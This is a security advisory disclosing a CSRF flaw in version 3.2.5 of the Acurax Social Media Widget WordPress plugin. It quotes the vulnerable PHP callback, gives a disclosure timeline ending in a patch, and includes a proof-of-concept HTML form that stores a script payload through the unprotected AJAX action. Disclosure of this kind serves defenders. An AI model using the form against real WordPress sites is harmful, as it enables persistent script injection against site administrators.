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* Exploit Title: Social Media Widget by Acurax [CSRF]
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* Discovery Date: 2017-12-12
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* Exploit Author: Panagiotis Vagenas
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* Author Link: https://twitter.com/panVagenas
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* Vendor Homepage: http://www.acurax.com/
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* Software Link: https://wordpress.org/plugins/acurax-social-media-widget
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* Version: 3.2.5
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* Tested on: WordPress 4.9.1
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* Category: WebApps, WordPress
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Description
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-----------
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Plugin implements AJAX action `acx_asmw_saveorder` which calls back the
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function `acx_asmw_saveorder_callback`. The later does not implement any
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anti-CSRF controls thus allowing a malicious actor to perform an attack
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that could update plugin specific option `social_widget_icon_array_order`.
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Vulnerable param is `$_POST['recordsArray']` and it is saved as an
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option with the name `social_widget_icon_array_order`.
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Leveraging a CSRF could lead to a Persistent XSS (see PoC). Payload will
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be served when a user with the right privileges visits plugin's settings
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page (`wp-admin/admin.php?page=Acurax-Social-Widget-Settings`).
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Vulnerable code is located in file
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`acurax-social-media-widget/function.php` line 993:
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```
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function acx_asmw_saveorder_callback() {
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global $wpdb;
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$social_widget_icon_array_order = $_POST['recordsArray'];
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if ( current_user_can( 'manage_options' ) ) {
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$social_widget_icon_array_order = serialize(
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$social_widget_icon_array_order );
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update_option( 'social_widget_icon_array_order',
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$social_widget_icon_array_order );
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echo "<div id='acurax_notice' align='center' style='width:
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420px; font-family: arial; font-weight: normal; font-size: 22px;'>";
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echo "Social Media Icon's Order Saved";
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echo "</div><br>";
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}
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die(); // this is required to return a proper result
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}
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add_action( 'wp_ajax_acx_asmw_saveorder', 'acx_asmw_saveorder_callback' );
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```
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PoC
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---
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In this PoC we leverage the CSRF vulnerabilityt o perform a Persistent
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XSS attack. The payload is available in plugin's settings.
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```
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<pre class="lang:html decode:true "><form method="post" action="http://vuln.test/wp-admin/admin-ajax.php">
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<input type="hidden" name="action" value="acx_asmw_saveorder">
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<input type="text" name="recordsArray[]" value="1'><script>alert(1);</script>">
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<button type="submit" value="Submit">Submit</button>
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</form>
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```
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Timeline
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--------
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1. **2017-12-12**: Discovered
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2. **2017-12-12**: Tried to contact plugin's vendor through the contact
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form on their website
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3. **2017-12-12**: Vendor replied
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4. **2017-12-12**: Vendor Received Details
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5. **2018-01-02**: Patch released |